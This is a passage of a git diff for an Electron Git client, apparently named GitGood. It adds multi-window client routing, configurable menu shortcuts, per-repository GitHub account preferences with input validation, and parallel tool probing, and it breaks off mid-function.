b/src/main/host/electron-host.ts @@ -2,6 +2,7 @@ import { app, BrowserWindow, clipboard, dialog, nativeTheme, Notification, shell import type { AppSettings } from '@shared/types'; import type { ApiMethods } from '@shared/ipc'; import type { HostCapabilities } from '../core/host'; +import { refreshMenuShortcuts } from '../menu'; type ChooseDirectoryOptions = Parameters[0]; type ChooseFileOptions = Parameters[0]; @@ -9,7 +10,12 @@ type ChooseSavePathOptions = Parameters[0]; /** The desktop implementation of `HostCapabilities`: the native dialogs, shell, clipboard, notifications, theme and window zoom. */ export class ElectronHost implements HostCapabilities { - constructor(private readonly getWindow: () => BrowserWindow | null) {} + constructor( + private readonly getWindow: () => BrowserWindow | null, + private readonly openAppWindow: (repoId: string | null) => void = () => { + throw new Error('Opening another window is not available here.'); + }, + ) {} appVersion(): string { return app.getVersion(); @@ -71,4 +77,12 @@ export class ElectronHost implements HostCapabilities { win.webContents.setZoomLevel(next); return next; } + + async openWindow(repoId: string | null): Promise { + this.openAppWindow(repoId); + } + + setMenuShortcuts(overrides: AppSettings['shortcuts']): void { + refreshMenuShortcuts(overrides); + } } diff --git a/src/main/index.ts b/src/main/index.ts index 7dba5a0..5ff1ad9 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -1,6 +1,6 @@ import { accessSync, constants, statSync } from 'node:fs'; import { join } from 'node:path'; -import { app, BrowserWindow, dialog, Menu, nativeTheme, Notification } from 'electron'; +import { app, BrowserWindow, dialog, nativeTheme, Notification } from 'electron'; import { autoUpdater } from 'electron-updater'; import type { InboxItem } from '@shared/types'; import { ErrorExplainService } from './ai/error-explain'; @@ -26,11 +26,13 @@ import { shouldNotifyInboxItem } from './gh/inbox'; import { SettingsSyncService } from './gh/settings-sync'; import { registerIpc, sendEvent, type HandlerDeps } from './ipc'; import { EventBus } from './core/bus'; +import { currentClient } from './core/client-context'; +import { windowClientId, windowsFor } from './core/event-routing'; import { ElectronHost } from './host/electron-host'; import { electronStorePlatform } from './host/electron-store-platform'; import { WatchedFolderScanner } from './repo/watched-folders'; import { initLogger, log } from './logger'; -import { buildMenu } from './menu'; +import { installMenu } from './menu'; import { parseProtocolUrl, protocolUrlFromArgv } from './protocol'; import { RepositoryManager } from './repo/manager'; import { Store } from './store'; @@ -70,9 +72,9 @@ if (backgroundServer) { } else if (!gotLock) { app.quit(); } else { - let mainWindow: BrowserWindow | null = null; let clientMode = false; - const getWindow = () => mainWindow; + /** The window that gets menu, protocol-link and command-line actions: the focused one, else any (headless smoke windows are never focused). */ + const getWindow = () => BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0] ?? null; const deliverProtocolUrl = (raw: string) => { const parsed = parseProtocolUrl(raw); @@ -99,9 +101,10 @@ if (backgroundServer) { }; app.on('second-instance', (_event, argv, workingDirectory) => { - if (mainWindow) { - if (mainWindow.isMinimized()) mainWindow.restore(); - mainWindow.focus(); + const win = getWindow(); + if (win) { + if (win.isMinimized()) win.restore(); + win.focus(); } const url = protocolUrlFromArgv(argv); if (url) deliverProtocolUrl(url); @@ -164,17 +167,16 @@ if (backgroundServer) { log.warn(`Could not update the managed GitGood server: ${(err as Error).message}`); } } - Menu.setApplicationMenu(buildMenu(getWindow)); + // Client mode: no New Window. Each window would be a separate server client, but the updater, theme and inbox-badge plumbing here targets a single window. + installMenu(getWindow); const openWindow = () => { - mainWindow = createMainWindow(store, undefined, serverUrl); - watchServerVersion(serverUrl, mainWindow, app.getVersion(), updater); - mainWindow.on('closed', () => { - mainWindow = null; - }); - flushPendingProtocolUrls(mainWindow); + const win = createMainWindow(store, undefined, serverUrl); + watchServerVersion(serverUrl, win, app.getVersion(), updater); + flushPendingProtocolUrls(win); + return win; }; - openWindow(); - if (process.env.GITGOOD_SMOKE_SCRIPT && mainWindow) runSmokeScript(mainWindow, process.env.GITGOOD_SMOKE_SCRIPT); + const firstWindow = openWindow(); + if (process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(firstWindow, process.env.GITGOOD_SMOKE_SCRIPT); app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) openWindow(); }); @@ -183,11 +185,16 @@ if (backgroundServer) { nativeTheme.themeSource = store.getSettings().theme; const bus = new EventBus(); - const host = new ElectronHost(getWindow); + const host = new ElectronHost(getWindow, (repoId) => openDesktopWindow(repoId)); const busy = new Set(); - bus.subscribe((event, payload) => sendEvent(getWindow(), event, payload)); + // Each window is its own client (see core/event-routing): events go to the window that owns them, app-wide ones to all. + bus.subscribe((event, payload) => { + const windows = BrowserWindow.getAllWindows().filter((w) => !w.isDestroyed()).map((win) => ({ win, clientId: windowClientId(win.webContents.id) })); + for (const { win } of windowsFor(event, payload, currentClient(), windows, (repoPath) => repos.clientsWatching(repoPath))) sendEvent(win, event, payload); + }); const tools = new ToolLocator(store); + tools.onChange((state) => bus.emit('tools.changed', state)); const git = new GitClient(tools); const gh = new GhClient(tools); const repos = new RepositoryManager(store, git, bus.emit); @@ -207,7 +214,7 @@ if (backgroundServer) { gh, (state) => { bus.emit('gh.inbox.changed', state); - applyInboxBadge(getWindow(), state.unreadCount); + for (const win of BrowserWindow.getAllWindows()) applyInboxBadge(win, state.unreadCount); }, (items) => notifyNewInboxItems(items), { listLocalRepos: () => store.getRepositories().map((r) => ({ id: r.id, github: r.github })), getAccount: () => tools.current().ghAccount }, @@ -226,7 +233,7 @@ if (backgroundServer) { }, { getVersion: () => app.getVersion(), manualUrl: RELEASES_URL, disabledEnv, isPerMachineInstall: isPerMachineInstall(process.execPath, process.platform) }); const deps: HandlerDeps = { store, tools, git, gh, repos, resolver, review, splitter, triage, prDraft, rebasePlan, releaseNotes, explain, errorExplain, inbox, settingsSync, updater, nlPalette, watchedFolders, host, emit: bus.emit, busy }; registerIpc(deps); - Menu.setApplicationMenu(buildMenu(getWindow, { showManagedServer: managedServerSupported(), onManagedServer: () => void setUpManagedServer(userData) })); + installMenu(getWindow, { showManagedServer: managedServerSupported(), onManagedServer: () => void setUpManagedServer(userData), onNewWindow: () => openDesktopWindow(null), shortcuts: store.getSettings().shortcuts }); /** Desktop notification for a freshly-arrived inbox item (only while the window is unfocused; see shouldNotifyInboxItem for the per-category gating). */ function notifyNewInboxItems(items: InboxItem[]): void { @@ -252,16 +259,21 @@ if (backgroundServer) { // it a window recreated after every window was closed stops driving the // inbox poller's focus/blur cadence. const onFocusChange = (focused: boolean) => (focused ? inbox.onFocus() : inbox.onBlur()); - mainWindow = createMainWindow(store, onFocusChange); - applyInboxBadge(mainWindow, inbox.getState().unreadCount); + /** Opens a window as its own client. `repoId` is the repository it starts on: undefined = the most recently opened, null = none. */ + const openDesktopWindow = (repoId?: string | null): BrowserWindow => { + const win = createMainWindow(store, onFocusChange, undefined, repoId === undefined ? undefined : `repo=${encodeURIComponent(repoId ?? '')}`); + applyInboxBadge(win, inbox.getState().unreadCount); + const clientId = windowClientId(win.webContents.id); + // A closed window gives up the repository it was watching, like a server client disconnecting. + win.on('closed', () => repos.releaseClient(clientId)); + return win; + }; + const firstWindow = openDesktopWindow(); inbox.start(); updater.start(); watchedFolders.watchSettings(); - mainWindow.on('closed', () => { - mainWindow = null; - }); - flushPendingProtocolUrls(mainWindow); - if (process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(mainWindow, process.env.GITGOOD_SMOKE_SCRIPT); + flushPendingProtocolUrls(firstWindow); + if (process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(firstWindow, process.env.GITGOOD_SMOKE_SCRIPT); store.onSettingsChanged((settings) => bus.emit('settings.changed', settings)); nativeTheme.on('updated', () => bus.emit('theme.changed', { dark: nativeTheme.shouldUseDarkColors })); @@ -269,7 +281,6 @@ if (backgroundServer) { // Discover git/gh/claude in the background and tell the renderer. void tools.refresh().then((state) => { log.info(`git: ${state.git.version ?? 'missing'} (${state.git.path ?? '-'}); gh: ${state.gh.version ?? 'missing'} (${state.gh.path ?? '-'}); account: ${state.ghAccount?.login ?? 'none'}`); - bus.emit('tools.changed', state); // A scan registers candidates through Git, so wait until initial tool discovery finishes. if (store.getSettings().watchedFolders.length) { log.info('Scanning watched folders'); @@ -304,7 +315,7 @@ if (backgroundServer) { }, 30_000); app.on('activate', () => { - if (BrowserWindow.getAllWindows().length === 0) mainWindow = createMainWindow(store, onFocusChange); + if (BrowserWindow.getAllWindows().length === 0) openDesktopWindow(); }); app.on('before-quit', () => { inbox.dispose(); diff --git a/src/main/ipc.ts b/src/main/ipc.ts index ff5d473..71caf3a 100644 --- a/src/main/ipc.ts +++ b/src/main/ipc.ts @@ -2,6 +2,8 @@ import { BrowserWindow, ipcMain } from 'electron'; import type { ApiMethodName, EventPayloads } from '@shared/ipc'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL } from '@shared/ipc'; import type { IpcResult } from '@shared/types'; +import { clientContext } from './core/client-context'; +import { windowClientId } from './core/event-routing'; import { createHandlers, type HandlerDeps } from './core/handlers'; import { appEntryUrl, isTrustedSender } from './app-url'; @@ -13,12 +15,12 @@ export function sendEvent(win: BrowserWindow | nu win.webContents.send(IPC_EVENT_CHANNEL, event, payload); } -/** Binds the Electron-free core dispatch to `ipcMain` for the desktop app. */ +/** Binds the Electron-free core dispatch to `ipcMain` for the desktop app. Each call runs as the client of the window that sent it, so every window has its own open repository, watcher and in-flight jobs. */ export function registerIpc(deps: HandlerDeps): void { const { dispatch } = createHandlers(deps); const entry = appEntryUrl(); ipcMain.handle(IPC_INVOKE_CHANNEL, (event, method: ApiMethodName, ...args: unknown[]): Promise> => { if (!isTrustedSender(event, entry)) throw new Error('IPC refused: sender is not the app window.'); - return dispatch(method, args); + return clientContext.run(windowClientId(event.sender.id), () => dispatch(method, args)); }); } diff --git a/src/main/menu.ts b/src/main/menu.ts index 6ea641e..38e4a74 100644 --- a/src/main/menu.ts +++ b/src/main/menu.ts @@ -1,4 +1,5 @@ import { app, BrowserWindow, Menu, shell, type MenuItemConstructorOptions } from 'electron'; +import { mergeShortcuts, type ShortcutOverrides } from '@shared/shortcuts'; import { sendEvent } from './ipc'; const isMac = process.platform === 'darwin'; @@ -6,21 +7,23 @@ const isMac = process.platform === 'darwin'; interface MenuOptions { showManagedServer?: boolean; onManagedServer?: () => void; + /** Present only when the app can open extra windows (local mode); adds File → New Window. */ + onNewWindow?: () => void; + /** `AppSettings.shortcuts`: per-action accelerator overrides on top of the defaults. */ + shortcuts?: ShortcutOverrides; } -function action(label: string, id: string, accelerator?: string, args?: unknown): MenuItemConstructorOptions { - return { +export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): Menu { + const template: MenuItemConstructorOptions[] = []; + const accelerators = mergeShortcuts(options.shortcuts); + const action = (label: string, id: string): MenuItemConstructorOptions => ({ label, - accelerator, + accelerator: accelerators[id] ?? undefined, click: (_item, win) => { const target = (win instanceof BrowserWindow ? win : BrowserWindow.getAllWindows()[0]) ?? null; - sendEvent(target, 'menu.action', { action: id, args }); + sendEvent(target, 'menu.action', { action: id }); }, - }; -} - -export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): Menu { - const template: MenuItemConstructorOptions[] = []; + }); if (isMac) { template.push({ @@ -28,7 +31,7 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp submenu: [ { role: 'about' }, { type: 'separator' }, - action('Settings…', 'settings', 'CmdOrCtrl+,'), + action('Settings…', 'settings'), { type: 'separator' }, { role: 'services' }, { type: 'separator' }, @@ -44,17 +47,18 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&File', submenu: [ - action('New Repository…', 'new-repository', 'CmdOrCtrl+N'), + action('New Repository…', 'new-repository'), + ...(options.onNewWindow ? [{ label: 'New Window', accelerator: 'CmdOrCtrl+Alt+N', click: () => options.onNewWindow?.() }] : []), { type: 'separator' }, - action('Add Local Repository…', 'add-local-repository', 'CmdOrCtrl+O'), - action('Clone Repository…', 'clone-repository', 'CmdOrCtrl+Shift+O'), + action('Add Local Repository…', 'add-local-repository'), + action('Clone Repository…', 'clone-repository'), action('Rescan Watched Folders', 'scan-watched-folders'), { type: 'separator' }, action('Export Settings…', 'export-settings'), action('Import Settings…', 'import-settings'), ...(options.showManagedServer ? [{ type: 'separator' as const }, { label: 'Run GitGood server in the background…', click: () => options.onManagedServer?.() }] : []), { type: 'separator' }, - ...(isMac ? [] : [action('Options…', 'settings', 'CmdOrCtrl+,'), { type: 'separator' } as MenuItemConstructorOptions]), + ...(isMac ? [] : [action('Options…', 'settings'), { type: 'separator' } as MenuItemConstructorOptions]), isMac ? { role: 'close' } : { role: 'quit', label: 'E&xit' }, ], }); @@ -70,30 +74,31 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp { role: 'paste' }, { role: 'selectAll' }, { type: 'separator' }, - action('Find', 'find', 'CmdOrCtrl+F'), + action('Find', 'find'), ], }); template.push({ label: '&View', submenu: [ - action('Changes', 'show-changes', 'CmdOrCtrl+1'), - action('History', 'show-history', 'CmdOrCtrl+2'), + action('Changes', 'show-changes'), + action('History', 'show-history'), { type: 'separator' }, - action('Repository List', 'show-repository-list', 'CmdOrCtrl+T'), - action('Branches List', 'show-branches-list', 'CmdOrCtrl+B'), - action('Notifications Inbox', 'show-inbox', 'CmdOrCtrl+Shift+J'), + action('Repository List', 'show-repository-list'), + action('Branches List', 'show-branches-list'), + action('Notifications Inbox', 'show-inbox'), { type: 'separator' }, - action('Go to Summary', 'focus-commit-summary', 'CmdOrCtrl+G'), - action('Toggle Split Diff', 'toggle-split-diff', 'CmdOrCtrl+Shift+D'), + action('Go to Summary', 'focus-commit-summary'), + action('Toggle Split Diff', 'toggle-split-diff'), action('Toggle Hide Whitespace', 'toggle-whitespace'), - action('Toggle Blame', 'toggle-blame', 'Alt+B'), - action('Search History for Selection', 'search-history-selection', 'CmdOrCtrl+Alt+F'), + action('Toggle Blame', 'toggle-blame'), + action('Toggle History Graph', 'toggle-history-graph'), + action('Search History for Selection', 'search-history-selection'), { type: 'separator' }, { role: 'togglefullscreen' }, - action('Zoom In', 'zoom-in', 'CmdOrCtrl+='), - action('Zoom Out', 'zoom-out', 'CmdOrCtrl+-'), - action('Reset Zoom', 'zoom-reset', 'CmdOrCtrl+0'), + action('Zoom In', 'zoom-in'), + action('Zoom Out', 'zoom-out'), + action('Reset Zoom', 'zoom-reset'), { type: 'separator' }, { role: 'reload' }, { role: 'toggleDevTools', accelerator: isMac ? 'Alt+Command+I' : 'Ctrl+Shift+I' }, @@ -103,26 +108,28 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&Repository', submenu: [ - action('Ask GitGood…', 'command-palette', 'CmdOrCtrl+K'), + action('Ask GitGood…', 'command-palette'), { type: 'separator' }, - action('Push', 'push', 'CmdOrCtrl+P'), - action('Pull', 'pull', 'CmdOrCtrl+Shift+P'), - action('Fetch', 'fetch', 'CmdOrCtrl+Shift+T'), - action('Remove…', 'remove-repository', 'CmdOrCtrl+Delete'), + action('Push', 'push'), + action('Pull', 'pull'), + action('Fetch', 'fetch'), + action('Remove…', 'remove-repository'), { type: 'separator' }, - action('Stashes', 'show-stashes', 'CmdOrCtrl+Shift+S'), - action('Worktrees…', 'show-worktrees', 'CmdOrCtrl+Shift+W'), + action('Stashes', 'show-stashes'), + action('Worktrees…', 'show-worktrees'), action('Submodules…', 'show-submodules'), action('Git LFS…', 'show-lfs'), - action('Repository Health…', 'show-health', 'CmdOrCtrl+Shift+K'), + action('Repository Health…', 'show-health'), + action('Undo History…', 'show-reflog'), + action('Undo Last Git Operation', 'undo-last-operation'), { type: 'separator' }, - action('View on GitHub', 'view-on-github', 'CmdOrCtrl+Shift+G'), - action('Open in Terminal', 'open-in-shell', 'Ctrl+`'), - action(process.platform === 'darwin' ? 'Show in Finder' : process.platform === 'win32' ? 'Show in Explorer' : 'Show in File Manager', 'show-in-folder', 'CmdOrCtrl+Shift+F'), - action('Open in External Editor', 'open-in-editor', 'CmdOrCtrl+Shift+A'), + action('View on GitHub', 'view-on-github'), + action('Open in Terminal', 'open-in-shell'), + action(process.platform === 'darwin' ? 'Show in Finder' : process.platform === 'win32' ? 'Show in Explorer' : 'Show in File Manager', 'show-in-folder'), + action('Open in External Editor', 'open-in-editor'), { type: 'separator' }, - action('Issues…', 'show-issues', 'CmdOrCtrl+Shift+L'), - action('Create Issue on GitHub', 'create-issue', 'CmdOrCtrl+I'), + action('Issues…', 'show-issues'), + action('Create Issue on GitHub', 'create-issue'), { type: 'separator' }, action('Release Notes…', 'release-notes'), action('Split into Commits with AI…', 'split-commits'), @@ -134,25 +141,25 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&Branch', submenu: [ - action('New Branch…', 'new-branch', 'CmdOrCtrl+Shift+N'), + action('New Branch…', 'new-branch'), action('Rename…', 'rename-branch'), - action('Delete…', 'delete-branch', 'CmdOrCtrl+Shift+Delete'), + action('Delete…', 'delete-branch'), { type: 'separator' }, - action('Discard All Changes…', 'discard-all-changes', 'CmdOrCtrl+Shift+Backspace'), + action('Discard All Changes…', 'discard-all-changes'), action('Stash All Changes', 'stash-all-changes'), { type: 'separator' }, - action('Update from Default Branch', 'update-from-default', 'CmdOrCtrl+Shift+U'), - action('Compare to Branch', 'compare-branch', 'CmdOrCtrl+Shift+B'), - action('Merge into Current Branch…', 'merge-branch', 'CmdOrCtrl+Shift+M'), - action('Squash and Merge into Current Branch…', 'squash-merge-branch', 'CmdOrCtrl+Shift+H'), - action('Rebase Current Branch…', 'rebase-branch', 'CmdOrCtrl+Shift+E'), + action('Update from Default Branch', 'update-from-default'), + action('Compare to Branch', 'compare-branch'), + action('Merge into Current Branch…', 'merge-branch'), + action('Squash and Merge into Current Branch…', 'squash-merge-branch'), + action('Rebase Current Branch…', 'rebase-branch'), { type: 'separator' }, - action('Compare on GitHub', 'compare-on-github', 'CmdOrCtrl+Shift+C'), + action('Compare on GitHub', 'compare-on-github'), action('View Pull Request on GitHub', 'view-pull-request'), - action('Create Pull Request', 'create-pull-request', 'CmdOrCtrl+R'), + action('Create Pull Request', 'create-pull-request'), { type: 'separator' }, action('Review Branch with AI…', 'review-branch'), - action('Review Pull Request with AI…', 'review-pull-request', 'CmdOrCtrl+Shift+R'), + action('Review Pull Request with AI…', 'review-pull-request'), action('Draft Pull Request with AI…', 'draft-pull-request-ai'), action('Tidy Up Branch with AI…', 'tidy-branch-ai'), ], @@ -165,7 +172,7 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ role: 'help', submenu: [ - action('Keyboard Shortcuts', 'keyboard-shortcuts', 'CmdOrCtrl+/'), + action('Keyboard Shortcuts', 'keyboard-shortcuts'), action('Show Logs', 'show-logs'), { type: 'separator' }, action('Check for Updates…', 'check-for-updates'), @@ -180,3 +187,17 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp void getWindow; return Menu.buildFromTemplate(template); } + +let installed: { getWindow: () => BrowserWindow | null; options: MenuOptions } | null = null; + +/** Sets the application menu and remembers how, so a shortcut change can rebuild it. */ +export function installMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): void { + installed = { getWindow, options }; + Menu.setApplicationMenu(buildMenu(getWindow, options)); +} + +/** Rebuilds the installed menu with new shortcut overrides (no-op until `installMenu` ran or when nothing changed). */ +export function refreshMenuShortcuts(shortcuts: ShortcutOverrides): void { + if (!installed || JSON.stringify(mergeShortcuts(installed.options.shortcuts)) === JSON.stringify(mergeShortcuts(shortcuts))) return; + installMenu(installed.getWindow, { ...installed.options, shortcuts }); +} diff --git a/src/main/repo/manager.ts b/src/main/repo/manager.ts index 2405618..442862e 100644 --- a/src/main/repo/manager.ts +++ b/src/main/repo/manager.ts @@ -2,7 +2,7 @@ import { createHash } from 'node:crypto'; import { existsSync } from 'node:fs'; import { basename, join, normalize, resolve } from 'node:path'; import type { EventPayloads } from '@shared/ipc'; -import { repositoryOrigin, type GitHubRepoRef, type RepositoryInfo, type RepoWork } from '@shared/types'; +import { repositoryOrigin, type GitHubRepoRef, type RepositoryInfo, type RepoPrefs, type RepoWork } from '@shared/types'; import { mapWithConcurrency, parseRemoteUrl } from '@shared/util'; import { getBranches } from '../git/branches'; import { currentClient } from '../core/client-context'; @@ -447,12 +447,17 @@ export class RepositoryManager { this.send('repos.changed', await this.list(false)); } - /** Machine-local list/commit prefs; only the keys present in `prefs` change (a blank group clears it). */ - async setPrefs(id: string, prefs: Pick): Promise { - const patch: Pick = {}; + /** Machine-local list/commit/account prefs; only the keys present in `prefs` change (a blank group, or a null/malformed githubAccount, clears it). */ + async setPrefs(id: string, prefs: RepoPrefs): Promise { + const patch: Partial = {}; if (prefs.pinned !== undefined) patch.pinned = prefs.pinned === true || undefined; if (prefs.group !== undefined) patch.group = typeof prefs.group === 'string' ? prefs.group.trim().slice(0, 60) || undefined : undefined; if (prefs.signoff !== undefined) patch.signoff = prefs.signoff === true || undefined; + if (prefs.githubAccount !== undefined) { + // host and login end up in gh/git argv and a git config key: plain hostname / login characters only. + const a = prefs.githubAccount; + patch.githubAccount = a && /^[A-Za-z0-9][A-Za-z0-9.-]*$/.test(a.host) && /^\w[\w.-]*$/.test(a.login) ? { host: a.host, login: a.login } : undefined; + } this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, ...patch } : r))); this.send('repos.changed', await this.list(false)); } @@ -550,6 +555,11 @@ export class RepositoryManager { this.stopIfUnwanted(repoPath); } + /** The clients (see core/client-context) currently showing `repoPath`. */ + clientsWatching(repoPath: string): string[] { + return [...this.watching].filter(([, path]) => path === repoPath).map(([owner]) => owner); + } + /** Stops watching `repoPath` for every client (the repository was removed). */ stopWatching(repoPath: string): void { for (const [owner, path] of this.watching) if (path === repoPath) this.watching.delete(owner); diff --git a/src/main/settings/sync-core.ts b/src/main/settings/sync-core.ts index e6cf83f..d2537b5 100644 --- a/src/main/settings/sync-core.ts +++ b/src/main/settings/sync-core.ts @@ -23,6 +23,7 @@ import type { SettingsSyncStateName, } from '@shared/types'; import { DEFAULT_SETTINGS } from '@shared/types'; +import { sanitizeShortcutOverrides } from '@shared/shortcuts'; export const SETTINGS_EXPORT_SCHEMA = 1; export const GIST_DESCRIPTION = 'GitGood settings'; @@ -64,10 +65,12 @@ const PREFERENCE_KEYS = { healthLargeFileThresholdBytes: true, showUnpushedWorkIndicator: true, historyVerifySignatures: true, + historyGraph: true, notificationsEnabled: true, notificationsPollIntervalMinutes: true, notifyMentions: true, notifyReviewRequests: true, + shortcuts: true, ai: true, } satisfies Record; @@ -117,6 +120,7 @@ const BOOLEAN_PREFERENCE_KEYS = new Set([ 'blameIgnoreWhitespace', 'showUnpushedWorkIndicator', 'historyVerifySignatures', + 'historyGraph', 'notificationsEnabled', 'notifyMentions', 'notifyReviewRequests', @@ -252,6 +256,14 @@ function validatePreferences(raw: unknown): { value: Partial)[k] = v; else warnings.push(`preferences.${key}: expected a boolean, ignored`); @@ -384,6 +396,8 @@ export function buildPreferencesPatch(current: AppSettings, incoming: Partial = { ...baseRest, ...incomingRest }; patch.ai = { ...current.ai, ...baseAi, ...(incomingAi ?? {}) } as AiSettings; + // Merge overlays per action so shortcuts the file does not mention keep their local binding. + if (mode === 'merge' && incomingRest.shortcuts) patch.shortcuts = { ...current.shortcuts, ...incomingRest.shortcuts }; return patch; } @@ -515,7 +529,7 @@ function countPatchChanges(current: AppSettings, patch: Partial): n if (patchAi) for (const ak of Object.keys(patchAi) as (keyof AiSettings)[]) if (JSON.stringify(current.ai[ak]) !== JSON.stringify(patchAi[ak])) changes++; continue; } - if ((current as unknown as Record)[key] !== (patch as Record)[key]) changes++; + if (JSON.stringify((current as unknown as Record)[key]) !== JSON.stringify((patch as Record)[key])) changes++; } return changes; } diff --git a/src/main/tools.ts b/src/main/tools.ts index d585e1c..1adbcf3 100644 --- a/src/main/tools.ts +++ b/src/main/tools.ts @@ -1,9 +1,12 @@ import { access, constants, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; -import { delimiter, join } from 'node:path'; -import type { GitHubAccount, ToolInfo, ToolsState } from '@shared/types'; +import { delimiter, join, normalize } from 'node:path'; +import type { GhAccountEntry, GitHubAccount, ToolInfo, ToolsState } from '@shared/types'; import { MIN_TOOL_VERSIONS } from '@shared/util'; +import { repoScope } from './core/client-context'; import { exec } from './exec'; +import { parseGhAuthStatus, primaryAccount } from './gh/accounts'; +import { GitError } from './git/git'; import { log } from './logger'; import type { Store } from './store'; import { compareVersions } from './update/update-core'; @@ -93,35 +96,57 @@ async function loginShellPath(): Promise { return null; } +type ProbeKey = 'git' | 'gh' | 'claudeCli' | 'gitLfs' | 'gpg' | 'sshKeygen'; +type Probes = Record>; + +const PENDING: ToolInfo = { installed: false, version: null, path: null, error: null, pending: true }; +const samePath = (a: string, b: string): boolean => (isWindows ? normalize(a).toLowerCase() === normalize(b).toLowerCase() : normalize(a) === normalize(b)); + export class ToolLocator { private state: ToolsState = { - git: { installed: false, version: null, path: null, error: null }, - gh: { installed: false, version: null, path: null, error: null }, - claudeCli: { installed: false, version: null, path: null, error: null }, - gitLfs: { installed: false, version: null, path: null, error: null }, - gpg: { installed: false, version: null, path: null, error: null }, - sshKeygen: { installed: false, version: null, path: null, error: null }, + git: { ...PENDING }, + gh: { ...PENDING }, + claudeCli: { ...PENDING }, + gitLfs: { ...PENDING }, + gpg: { ...PENDING }, + sshKeygen: { ...PENDING }, ghAccount: null, + ghAccounts: [], ghAuthError: null, credentialHelperConfigured: false, }; - private envCache: NodeJS.ProcessEnv | null = null; + /** One shared login-shell PATH lookup; concurrent probes await the same promise. */ + private envPromise: Promise | null = null; + private probes: Probes | null = null; private refreshing: Promise | null = null; - private located: Promise | null = null; + private readonly listeners = new Set<(state: ToolsState) => void>(); + /** In-memory only: `host\0login` → token from `gh auth token --user`. Never logged, persisted or exported. */ + private readonly accountTokens = new Map>(); constructor(private readonly store: Store) {} + /** Called with the new state whenever a probe or the auth read settles (renderers get it as `tools.changed`). */ + onChange(listener: (state: ToolsState) => void): void { + this.listeners.add(listener); + } + + private patch(patch: Partial): void { + this.state = { ...this.state, ...patch }; + for (const listener of this.listeners) listener(this.state); + } + /** process.env augmented with the user's login-shell PATH (mac/Linux GUI launches have a minimal PATH). */ - async env(): Promise { - if (this.envCache) return this.envCache; - const env: NodeJS.ProcessEnv = { ...process.env }; - const shellPath = await loginShellPath(); - if (shellPath) { - const merged = new Set([...(shellPath.split(delimiter)), ...((env.PATH ?? '').split(delimiter))]); - env.PATH = [...merged].filter(Boolean).join(delimiter); - } - this.envCache = env; - return env; + env(): Promise { + this.envPromise ??= (async () => { + const env: NodeJS.ProcessEnv = { ...process.env }; + const shellPath = await loginShellPath(); + if (shellPath) { + const merged = new Set([...shellPath.split(delimiter), ...(env.PATH ?? '').split(delimiter)]); + env.PATH = [...merged].filter(Boolean).join(delimiter); + } + return env; + })(); + return this.envPromise; } current(): ToolsState { @@ -143,24 +168,32 @@ export class ToolLocator { } /** - * Fast local discovery of the git/gh/claude binaries (no network). Runs once; - * git and gh commands await this so early requests never race the startup scan. + * Starts every probe at once (no network; a slow one never delays another). Each probe updates the + * state when it settles; a restart (`refresh`) makes results of the previous round discard themselves. */ - ensureLocated(): Promise { - if (this.located) return this.located; - this.located = (async () => { - const settings = this.store.getSettings(); - const [git, gh, claudeCli, gpg, sshKeygen] = await Promise.all([ - this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.git)), - this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.gh)), - this.locate('claude', settings.ai.claudeCliPath, ['--version'], (o) => o.trim().split('\n')[0]?.trim() || null), - this.locate('gpg', null, ['--version'], (o) => /gpg \(GnuPG\) (\S+)/.exec(o)?.[1] ?? null), - this.locateSshKeygen(), - ]); - const gitLfs = await this.locateLfs(git); - this.state = { ...this.state, git, gh, claudeCli, gitLfs, gpg, sshKeygen }; - })(); - return this.located; + private startProbes(): Probes { + if (this.probes) return this.probes; + const settings = this.store.getSettings(); + const mine = {} as Probes; + this.probes = mine; + const track = (key: ProbeKey, probe: Promise): void => { + mine[key] = probe.then((info) => { + if (this.probes === mine) this.patch({ [key]: info }); + return info; + }); + }; + track('git', this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.git))); + track('gh', this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.gh))); + track('claudeCli', this.locate('claude', settings.ai.claudeCliPath, ['--version'], (o) => o.trim().split('\n')[0]?.trim() || null)); + track('gpg', this.locate('gpg', null, ['--version'], (o) => /gpg \(GnuPG\) (\S+)/.exec(o)?.[1] ?? null)); + track('sshKeygen', this.locateSshKeygen()); + track('gitLfs', mine.git.then((git) => this.locateLfs(git))); + return mine; + } + + /** Resolves with that tool's info once its probe has finished; git commands wait for the git probe only, never for gh/claude/gpg. */ + ensure(key: ProbeKey): Promise { + return this.startProbes()[key]; } /** @@ -202,15 +235,21 @@ export class ToolLocator { } } + /** Re-probes every tool (settings changed, Setup "re-check") and re-reads the gh sign-in state. */ refresh(): Promise { if (this.refreshing) return this.refreshing; - this.located = null; - this.refreshing = this.doRefresh().finally(() => { + this.probes = null; + this.refreshing = this.readAuth().finally(() => { this.refreshing = null; }); return this.refreshing; } + /** Re-reads only the gh sign-in state (accounts, credential helper); tool probes stay as they are. */ + refreshAuth(): Promise { + return 